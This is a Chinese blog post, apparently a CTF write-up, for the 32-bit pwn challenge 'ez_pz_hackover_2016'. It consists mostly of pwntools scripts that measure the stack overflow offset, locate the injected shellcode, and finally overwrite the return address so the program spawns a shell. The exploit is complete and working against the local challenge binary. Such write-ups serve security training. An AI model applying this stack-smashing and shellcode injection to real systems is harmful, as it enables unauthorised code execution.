ez_pz_hackover_2016

最新推荐文章于 2025-02-19 19:37:14 发布

「已注销」

最新推荐文章于 2025-02-19 19:37:14 发布

阅读量352

点赞数

CC 4.0 BY-SA版权

分类专栏： pwn

本文链接：https://blog.youkuaiyun.com/pondzhang/article/details/106067976

pwn 专栏收录该内容

38 篇文章

订阅专栏

本文介绍了一种测试栈溢出偏移量和shellcode偏移的方法，通过使用pwntools库，详细展示了如何在特定环境中找到正确的偏移量，以实现对程序的控制。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

测试栈溢出偏移量

from pwn import *

p = process('./ez_pz_hackover_2016')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./ez_pz_hackover_2016')
context.log_level = 'debug'
context.arch = elf.arch
payload = 'crashme\x00' + 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa'
gdb.attach(p,'b *0x08048601')
p.sendline(payload)

cyclic -l 0x61666161

18+8 = 26

测试shellcode偏移

from pwn import *
p = process('./ez_pz_hackover_2016')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./ez_pz_hackover_2016')
context.log_level = 'debug'
context.arch = elf.arch
p.recvuntil('Yippie, lets crash: 0x')
retaddr = int(p.recv(8),16)
log.success(hex(retaddr))
p.recvuntil('>')
payload = 'crashme\x00'.ljust(26, '\x00') + asm(shellcraft.sh())
gdb.attach(p,'b *0x08048601')
p.sendline(payload)

0xfff79f7c - 0xfff79f5c + 4 =28

payload如下：

from pwn import *
p = process('./ez_pz_hackover_2016')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./ez_pz_hackover_2016')
context.log_level = 'debug'
context.arch = elf.arch
p.recvuntil('Yippie, lets crash: 0x')
retaddr = int(p.recv(8),16)
log.success(hex(retaddr))
p.recvuntil('>')
payload = 'crashme\x00'.ljust(26, '\x00') +p32(retaddr - 28) + asm(shellcraft.sh())
p.sendline(payload)
p.interactive()